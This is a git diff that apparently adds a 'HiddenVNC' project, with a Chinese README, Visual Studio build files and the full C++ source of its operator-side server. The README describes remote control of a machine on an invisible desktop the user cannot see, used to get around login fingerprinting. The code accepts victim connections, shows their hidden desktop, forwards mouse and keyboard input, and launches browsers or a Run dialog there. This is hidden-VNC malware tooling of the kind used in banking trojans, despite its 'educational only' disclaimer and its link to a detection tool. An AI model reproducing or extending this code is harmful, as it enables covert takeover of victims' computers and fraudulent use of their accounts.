{5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {63C23A8B-C799-453F-BD1A-A5B386465458} + EndGlobalSection +EndGlobal diff --git a/README.md b/README.md new file mode 100644 index 0000000..d2325a2 --- /dev/null +++ b/README.md @@ -0,0 +1,37 @@ +# HiddenVNC + +**这是一款简单的hvnc软件** + +hvnc是一种用来解决异地登陆(比如浏览器,操作系统/插件版本,语言环境,时区等对用户的系统进行指纹识别)的方法。 + +传统的vnc,即远程桌面控制,很容易被用户看到操作,无法实现隐藏的目的。 + +hvnc可以利用一些鲜为人知的Windows功能,例如CreateDesktop和跨进程窗口子类来实现VNC运行的不可见环境。 + +详细一点的介绍可以看这篇文章:[Hidden VNC for Beginners](https://www.malwaretech.com/2015/09/hidden-vnc-for-beginners.html "Hidden VNC for Beginners") ,里面有较为详细的原理及应用讲解。 + +## 编译 +在Visual Studio 2019中打开解决方案,选择Realease/x86即可编译。默认客户端ip为127.0.0.1,如有需要请自行修改。 + +## 运行 +编译后,在项目 /Release 下运行server.exe,然后运行client.exe,就可以看到一个vnc界面。 +如果界面全黑,请右键点击标题栏,选择start explorer或其他选项。 + +## 检测及调试 +hvnc新建的桌面很难通过简单的方式切换,所以为了方便验证及测试,在 /anti-hvnc 里有一个切换及检测桌面和进程的软件,源代码:[HiddenDesktopViewer](https://github.com/AgigoNoTana/HiddenDesktopViewer "HiddenDesktopViewer") ,具体用法详见该Repo的介绍。 + +## 支持 +* 未测试以下系统(32和64位) + * Windows XP SP3 + * Windows Server 2003 + * Windows Vista +* 确认支持以下系统(32和64位) + * Windows Server 2008 + * Windows 7 + * Windows Server 2012 + * Windows 8/8.1 + * Windows 10 + + +## 注意 +我(簞純)对您使用此软件可能执行的任何操作概不负责。您对使用此软件采取的任何措施承担全部责任。请注意,此应用程序仅用于教育目的,切勿被恶意使用。通过下载软件或软件的源代码,您自动接受此协议。 diff --git a/Server/Common.h b/Server/Common.h new file mode 100644 index 0000000..443ee71 --- /dev/null +++ b/Server/Common.h @@ -0,0 +1,7 @@ +#pragma once +#include +#include +#include +#include + +#pragma comment(lib, "ws2_32.lib") \ No newline at end of file diff --git a/Server/ControlWindow.cpp b/Server/ControlWindow.cpp new file mode 100644 index 0000000..538a851 --- /dev/null +++ b/Server/ControlWindow.cpp @@ -0,0 +1,49 @@ +#include "ControlWindow.h" + +static const TCHAR *className = TEXT("HiddenDesktop_ControlWindow"); +static const TCHAR *titlePattern = TEXT("%S Hidden Desktop"); + +BOOL CW_Register(WNDPROC lpfnWndProc) +{ + WNDCLASSEX wndClass; + wndClass.cbSize = sizeof(WNDCLASSEX); + wndClass.style = CS_DBLCLKS; + wndClass.lpfnWndProc = lpfnWndProc; + wndClass.cbClsExtra = 0; + wndClass.cbWndExtra = 0; + wndClass.hInstance = NULL; + wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION); + wndClass.hCursor = LoadCursor(NULL, IDC_ARROW); + wndClass.hbrBackground = (HBRUSH) COLOR_WINDOW; + wndClass.lpszMenuName = NULL; + wndClass.lpszClassName = className; + wndClass.hIconSm = LoadIcon(NULL, IDI_APPLICATION); + return RegisterClassEx(&wndClass); +} + +HWND CW_Create(DWORD uhid, DWORD width, DWORD height) +{ + TCHAR title[100]; + IN_ADDR addr; + addr.S_un.S_addr = uhid; + + wsprintf(title, titlePattern, inet_ntoa(addr)); + + HWND hWnd = CreateWindow(className, + title, + WS_MAXIMIZEBOX | WS_MINIMIZEBOX | WS_SIZEBOX | WS_SYSMENU, + CW_USEDEFAULT, + CW_USEDEFAULT, + width, + height, + NULL, + NULL, + GetModuleHandle(NULL), + NULL); + + if(hWnd == NULL) + return NULL; + + ShowWindow(hWnd, SW_SHOW); + return hWnd; +} \ No newline at end of file diff --git a/Server/ControlWindow.h b/Server/ControlWindow.h new file mode 100644 index 0000000..f5e8a6e --- /dev/null +++ b/Server/ControlWindow.h @@ -0,0 +1,4 @@ +#include "Common.h" + +BOOL CW_Register(WNDPROC lpfnWndProc); +HWND CW_Create(DWORD uhid, DWORD width, DWORD height); \ No newline at end of file diff --git a/Server/Main.cpp b/Server/Main.cpp new file mode 100644 index 0000000..3c45656 --- /dev/null +++ b/Server/Main.cpp @@ -0,0 +1,30 @@ +#include "Common.h" +#include "ControlWindow.h" +#include "Server.h" + + +int CALLBACK WinMain(HINSTANCE hInstance, + HINSTANCE hPrevInstance, + LPSTR lpCmdLine, + int nCmdShow) +{ + AllocConsole(); + + freopen("CONIN$", "r", stdin); + freopen("CONOUT$", "w", stdout); + freopen("CONOUT$", "w", stderr); + + SetConsoleTitle(TEXT("Hidden Desktop")); + + wprintf(TEXT("Compiled: %S @ %S\n"), __DATE__, __TIME__); + wprintf(TEXT("Reverse Hidden Desktop: \n\n")); + + //if(!StartServer(atoi(lpCmdLine))) + if (!StartServer(6667)) + { + wprintf(TEXT("Could not start the server (Error: %d)\n"), WSAGetLastError()); + getchar(); + return 0; + } + return 0; +} \ No newline at end of file diff --git a/Server/Server.cpp b/Server/Server.cpp new file mode 100644 index 0000000..5d2e97d --- /dev/null +++ b/Server/Server.cpp @@ -0,0 +1,560 @@ +#include "Server.h" + +typedef NTSTATUS (NTAPI *T_RtlDecompressBuffer) +( + USHORT CompressionFormat, + PUCHAR UncompressedBuffer, + ULONG UncompressedBufferSize, + PUCHAR CompressedBuffer, + ULONG CompressedBufferSize, + PULONG FinalUncompressedSize +); + +static T_RtlDecompressBuffer pRtlDecompressBuffer; + +enum Connection { desktop, input, end }; + +struct Client +{ + SOCKET connections[Connection::end]; + DWORD uhid; + HWND hWnd; + BYTE *pixels; + DWORD pixelsWidth, pixelsHeight; + DWORD screenWidth, screenHeight; + HDC hDcBmp; + HANDLE minEvent; + BOOL fullScreen; + RECT windowedRect; +}; + +static const COLORREF gc_trans = RGB(255, 174, 201); +static const BYTE gc_magik[] = { 'H', 'I', 'D', 'D', 'E', 'N', 'V', 'N', 'C', 0 }; +static const DWORD gc_maxClients = 256; +static const DWORD gc_sleepNotRecvPixels = 33; + +static const DWORD gc_minWindowWidth = 800; +static const DWORD gc_minWindowHeight = 600; + + +enum SysMenuIds { fullScreen = 101, startExplorer = WM_USER + 1, startRun, startChrome, startFirefox, startIexplore }; + +static Client g_clients[gc_maxClients]; +static CRITICAL_SECTION g_critSec; + +static Client *GetClient(void *data, BOOL uhid) +{ + for(int i = 0; i < gc_maxClients; ++i) + { + if(uhid) + { + if(g_clients[i].uhid == (DWORD) data) + return &g_clients[i]; + } + else + { + if(g_clients[i].hWnd == (HWND) data) + return &g_clients[i]; + } + } + return NULL; +} + +int SendInt(SOCKET s, int i) +{ + return send(s, (char *) &i, sizeof(i), 0); +} + +static BOOL SendInput(SOCKET s, UINT msg, WPARAM wParam, LPARAM lParam) +{ + if(SendInt(s, msg) <= 0) + return FALSE; + if(SendInt(s, wParam) <= 0) + return FALSE; + if(SendInt(s, lParam) <= 0) + return FALSE; + return TRUE; +} + +static void ToggleFullscreen(HWND hWnd, Client *client) +{ + if(!client->fullScreen) + { + RECT rect; + GetWindowRect(hWnd, &rect); + client->windowedRect = rect; + GetWindowRect(GetDesktopWindow(), &rect); + SetWindowLong(hWnd, GWL_STYLE, WS_POPUP | WS_VISIBLE); + SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, rect.right, rect.bottom, SWP_SHOWWINDOW); + } + else + { + SetWindowLong(hWnd, GWL_STYLE, WS_OVERLAPPEDWINDOW | WS_VISIBLE); + SetWindowPos(hWnd, + HWND_NOTOPMOST, + client->windowedRect.left, + client->windowedRect.top, + client->windowedRect.left - client->windowedRect.right, + client->windowedRect.bottom - client->windowedRect.top, + SWP_SHOWWINDOW); + } + client->fullScreen = !client->fullScreen; +} + +static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) +{ + Client *client = GetClient(hWnd, FALSE); + + switch(msg) + { + case WM_CREATE: + { + HMENU hSysMenu = GetSystemMenu(hWnd, false); + AppendMenu(hSysMenu, MF_SEPARATOR, 0, NULL); + //AppendMenu(hSysMenu, MF_STRING, SysMenuIds::fullScreen, TEXT("&Fullscreen")); + AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startExplorer, TEXT("Start Explorer")); + AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startRun, TEXT("&Run...")); + AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startChrome, TEXT("Start Chrome")); + AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startFirefox, TEXT("Start Firefox")); + AppendMenu(hSysMenu, MF_STRING, SysMenuIds::startIexplore, TEXT("Start Internet Explorer")); + break; + } + case WM_SYSCOMMAND: + { + if(wParam == SC_RESTORE) + SetEvent(client->minEvent); +/* + else if(wParam == SysMenuIds::fullScreen || (wParam == SC_KEYMENU && toupper(lParam) == 'F')) + { + ToggleFullscreen(hWnd, client); + break; + } +*/ + else if(wParam == SysMenuIds::startExplorer) + { + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], SysMenuIds::startExplorer, NULL, NULL)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + else if(wParam == SysMenuIds::startRun) + { + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], SysMenuIds::startRun, NULL, NULL)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + else if(wParam == SysMenuIds::startChrome) + { + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], SysMenuIds::startChrome, NULL, NULL)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + else if(wParam == SysMenuIds::startFirefox) + { + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], SysMenuIds::startFirefox, NULL, NULL)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + else if(wParam == SysMenuIds::startIexplore) + { + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], SysMenuIds::startIexplore, NULL, NULL)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + return DefWindowProc(hWnd, msg, wParam, lParam); + } + case WM_PAINT: + { + PAINTSTRUCT ps; + HDC hDc = BeginPaint(hWnd, &ps); + + RECT clientRect; + GetClientRect(hWnd, &clientRect); + + RECT rect; + HBRUSH hBrush = CreateSolidBrush(RGB(0, 0, 0)); + rect.left = 0; + rect.top = 0; + rect.right = clientRect.right; + rect.bottom = clientRect.bottom; + + rect.left = client->pixelsWidth; + FillRect(hDc, &rect, hBrush); + rect.left = 0; + rect.top = client->pixelsHeight; + FillRect(hDc, &rect, hBrush); + DeleteObject(hBrush); + + BitBlt(hDc, 0, 0, client->pixelsWidth, client->pixelsHeight, client->hDcBmp, 0, 0, SRCCOPY); + EndPaint(hWnd, &ps); + break; + } + case WM_DESTROY: + { + PostQuitMessage(0); + break; + } + case WM_ERASEBKGND: + return TRUE; + case WM_LBUTTONDOWN: + case WM_LBUTTONUP: + case WM_RBUTTONDOWN: + case WM_RBUTTONUP: + case WM_MBUTTONDOWN: + case WM_MBUTTONUP: + case WM_LBUTTONDBLCLK: + case WM_RBUTTONDBLCLK: + case WM_MBUTTONDBLCLK: + case WM_MOUSEMOVE: + case WM_MOUSEWHEEL: + { + if(msg == WM_MOUSEMOVE && GetKeyState(VK_LBUTTON) >= 0) + break; + + int x = GET_X_LPARAM(lParam); + int y = GET_Y_LPARAM(lParam); + + float ratioX = (float) client->screenWidth / client->pixelsWidth; + float ratioY = (float) client->screenHeight / client->pixelsHeight; + + x = (int) (x * ratioX); + y = (int) (y * ratioY); + lParam = MAKELPARAM(x, y); + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], msg, wParam, lParam)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + case WM_CHAR: + { + if(iscntrl(wParam)) + break; + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], msg, wParam, 0)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + case WM_KEYDOWN: + case WM_KEYUP: + { + switch(wParam) + { + case VK_UP: + case VK_DOWN: + case VK_RIGHT: + case VK_LEFT: + case VK_HOME: + case VK_END: + case VK_PRIOR: + case VK_NEXT: + case VK_INSERT: + case VK_RETURN: + case VK_DELETE: + case VK_BACK: + break; + default: + return 0; + } + EnterCriticalSection(&g_critSec); + if(!SendInput(client->connections[Connection::input], msg, wParam, 0)) + PostQuitMessage(0); + LeaveCriticalSection(&g_critSec); + break; + } + case WM_GETMINMAXINFO: + { + MINMAXINFO* mmi = (MINMAXINFO *) lParam; + mmi->ptMinTrackSize.x = gc_minWindowWidth; + mmi->ptMinTrackSize.y = gc_minWindowHeight; + mmi->ptMaxTrackSize.x = 1920; + mmi->ptMaxTrackSize.y = 1080; + break; + } + default: + return DefWindowProc(hWnd, msg, wParam, lParam); + } + return 0; +} + +static DWORD WINAPI ClientThread(PVOID param) +{ + Client *client = NULL; + SOCKET s = (SOCKET) param; + BYTE buf[sizeof(gc_magik)]; + Connection connection; + DWORD uhid; + + if(recv(s, (char *) buf, sizeof(gc_magik), 0) <= 0) + { + closesocket(s); + return 0; + } + if(memcmp(buf, gc_magik, sizeof(gc_magik))) + { + closesocket(s); + return 0; + } + if(recv(s, (char *) &connection, sizeof(connection), 0) <= 0) + { + closesocket(s); + return 0; + } + { + SOCKADDR_IN addr; + int addrSize; + addrSize = sizeof(addr); + getpeername(s, (SOCKADDR *) &addr, &addrSize); + uhid = addr.sin_addr.S_un.S_addr; + } + if(connection == Connection::desktop) + { + client = GetClient((void *) uhid, TRUE); + if(!client) + { + closesocket(s); + return 0; + } + client->connections[Connection::desktop] = s; + + BITMAPINFO bmpInfo; + bmpInfo.bmiHeader.biSize = sizeof(bmpInfo.bmiHeader); + bmpInfo.bmiHeader.biPlanes = 1; + bmpInfo.bmiHeader.biBitCount = 24; + bmpInfo.bmiHeader.biCompression = BI_RGB; + bmpInfo.bmiHeader.biClrUsed = 0; + + for(;;) + { + RECT rect; + GetClientRect(client->hWnd, &rect); + + if(rect.right == 0) + { + BOOL x = ResetEvent(client->minEvent); + WaitForSingleObject(client->minEvent, 5000); + continue; + } + + int realRight = (rect.right > client->screenWidth && client->screenWidth > 0) ? client->screenWidth : rect.right; + int realBottom = (rect.bottom > client->screenHeight && client->screenHeight > 0) ? client->screenHeight : rect.bottom; + + if((realRight * 3) % 4) + realRight += ((realRight * 3) % 4); + + if(SendInt(s, realRight) <= 0) + goto exit; + if(SendInt(s, realBottom) <= 0) + goto exit; + + DWORD width; + DWORD height; + DWORD size; + BOOL recvPixels; + if(recv(s, (char *) &recvPixels, sizeof(recvPixels), 0) <= 0) + goto exit; + if(!recvPixels) + { + Sleep(gc_sleepNotRecvPixels); + continue; + } + if(recv(s, (char *) &client->screenWidth, sizeof(client->screenWidth), 0) <= 0) + goto exit; + if(recv(s, (char *) &client->screenHeight, sizeof(client->screenHeight), 0) <= 0) + goto exit; + if(recv(s, (char *) &width, sizeof(width), 0) <= 0) + goto exit; + if(recv(s, (char *) &height, sizeof(height), 0) <= 0) + goto exit; + if(recv(s, (char *) &size, sizeof(size), 0) <= 0) + goto exit; + + BYTE *compressedPixels = (BYTE *) malloc(size); + int totalRead = 0; + do + { + int read = recv(s, (char *) compressedPixels + totalRead, size - totalRead, 0); + if(read <= 0) + goto exit; + totalRead += read; + } while(totalRead != size); + + EnterCriticalSection(&g_critSec); + { + DWORD newPixelsSize = width * 3 * height; + BYTE *newPixels = (BYTE *) malloc(newPixelsSize); + pRtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1, newPixels, newPixelsSize, compressedPixels, size, &size); + free(compressedPixels); + + if(client->pixels && client->pixelsWidth == width && client->pixelsHeight == height) + { + for(DWORD i = 0; i < newPixelsSize; i += 3) + { + if(newPixels[i] == GetRValue(gc_trans) && + newPixels[i + 1] == GetGValue(gc_trans) && + newPixels[i + 2] == GetBValue(gc_trans)) + { + continue; + } + client->pixels[i] = newPixels[i]; + client->pixels[i + 1] = newPixels[i + 1]; + client->pixels[i + 2] = newPixels[i + 2]; + } + free(newPixels); + } + else + { + free(client->pixels); + client->pixels = newPixels; + } + + HDC hDc = GetDC(NULL); + HDC hDcBmp = CreateCompatibleDC(hDc); + HBITMAP hBmp; + + hBmp = CreateCompatibleBitmap(hDc, width, height); + SelectObject(hDcBmp, hBmp); + + bmpInfo.bmiHeader.biSizeImage = newPixelsSize; + bmpInfo.bmiHeader.biWidth = width; + bmpInfo.bmiHeader.biHeight = height; + SetDIBits(hDcBmp, + hBmp, + 0, + height, + client->pixels, + &bmpInfo, + DIB_RGB_COLORS); + + DeleteDC(client->hDcBmp); + client->pixelsWidth = width; + client->pixelsHeight = height; + client->hDcBmp = hDcBmp; + + InvalidateRgn(client->hWnd, NULL, TRUE); + + DeleteObject(hBmp); + ReleaseDC(NULL, hDc); + } + LeaveCriticalSection(&g_critSec); + + if(SendInt(s, 0) <= 0) + goto exit; + } +exit: + PostMessage(client->hWnd, WM_DESTROY, NULL, NULL); + return 0; + } + else if(connection == Connection::input) + { + char ip[16]; + EnterCriticalSection(&g_critSec); + { + client = GetClient((void *) uhid, TRUE); + if(client) + { + closesocket(s); + LeaveCriticalSection(&g_critSec); + return 0; + } + IN_ADDR addr; + addr.S_un.S_addr = uhid; + strcpy(ip, inet_ntoa(addr)); + wprintf(TEXT("User %S connected\n"), ip); + + BOOL found = FALSE; + for(int i = 0; i < gc_maxClients; ++i) + { + if(!g_clients[i].hWnd) + { + found = TRUE; + client = &g_clients[i]; + } + } + if(!found) + { + wprintf(TEXT("User %S kicked max %d users\n"), ip, gc_maxClients); + closesocket(s); + return 0; + } + + client->hWnd = CW_Create(uhid, gc_minWindowWidth, gc_minWindowHeight); + client->uhid = uhid; + client->connections[Connection::input] = s; + client->minEvent = CreateEventA(NULL, TRUE, FALSE, NULL); + } + LeaveCriticalSection(&g_critSec); + + SendInt(s, 0); + + MSG msg; + while(GetMessage(&msg, NULL, 0, 0) > 0) + { + PeekMessage(&msg, NULL, WM_USER, WM_USER, PM_NOREMOVE); + TranslateMessage(&msg); + DispatchMessage(&msg); + } + + EnterCriticalSection(&g_critSec); + { + wprintf(TEXT("User %S disconnected\n"), ip); + free(client->pixels); + DeleteDC(client->hDcBmp); + closesocket(client->connections[Connection::input]); + closesocket(client->connections[Connection::desktop]); + CloseHandle(client->minEvent); + memset(client, 0, sizeof(*client)); + } + LeaveCriticalSection(&g_critSec); + } + return 0; +} + +BOOL StartServer(int port) +{ + WSADATA wsa; + SOCKET serverSocket; + sockaddr_in addr; + HMODULE ntdll = LoadLibrary(TEXT("ntdll.dll")); + + pRtlDecompressBuffer = (T_RtlDecompressBuffer) GetProcAddress(ntdll, "RtlDecompressBuffer"); + InitializeCriticalSection(&g_critSec); + memset(g_clients, 0, sizeof(g_clients)); + CW_Register(WndProc); + + if(WSAStartup(MAKEWORD(2, 2), &wsa) != 0) + return FALSE; + if((serverSocket = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) + return FALSE; + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = INADDR_ANY; + addr.sin_port = htons(port); + + if(bind(serverSocket, (sockaddr *) &addr, sizeof(addr)) == SOCKET_ERROR) + return FALSE; + if(listen(serverSocket, SOMAXCONN) == SOCKET_ERROR) + return FALSE; + + int addrSize = sizeof(addr); + getsockname(serverSocket, (sockaddr *) &addr, &addrSize); + wprintf(TEXT("Listening on port %d\n"), ntohs(addr.sin_port)); + + for(;;) + { + SOCKET s; + sockaddr_in addr; + s = accept(serverSocket, (sockaddr *) &addr, &addrSize); + CreateThread(NULL, 0, ClientThread, (LPVOID) s, 0, 0); + } +} \ No newline at end of file diff --git a/Server/Server.h b/Server/Server.h new file mode 100644 index 0000000..50643bc --- /dev/null +++ b/Server/Server.h @@ -0,0 +1,4 @@ +#include "Common.h" +#include "ControlWindow.h" + +BOOL StartServer(int port); \ No newline at end of file diff --git a/Server/Server.vcxproj b/Server/Server.vcxproj new file mode 100644 index 0000000..2522a50 --- /dev/null +++ b/Server/Server.vcxproj @@ -0,0 +1,157 @@ + + + + + Debug + Win32 + + + Debug + x64 + + + Release + Win32 + + + Release + x64 + + + + {5C3AD9AC-C62C-4AA8-BAE2-9AF920A652E3} + Win32Proj + Server + 10.0 + + + + Application + true + v142 + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) + + + Windows + true + + + + + + + Level3 + Disabled + WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions) + + + Windows + true + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + + + + + Level3 + + + MaxSpeed + true + true + WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions) + MultiThreaded + + + Windows + true + true + true + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Server/Server.vcxproj.filters b/Server/Server.vcxproj.filters new file mode 100644 index 0000000..f73998c --- /dev/null +++ b/Server/Server.vcxproj.filters @@ -0,0 +1,39 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files + + + Header Files + + + \ No newline at end of file diff --git a/anti-hvnc/HiddenDesktopViewer_Bin.zip b/anti-hvnc/HiddenDesktopViewer_Bin.zip new file mode 100644 index 0000000..787c1ae Binary files /dev/null and b/anti-hvnc/HiddenDesktopViewer_Bin.zip differ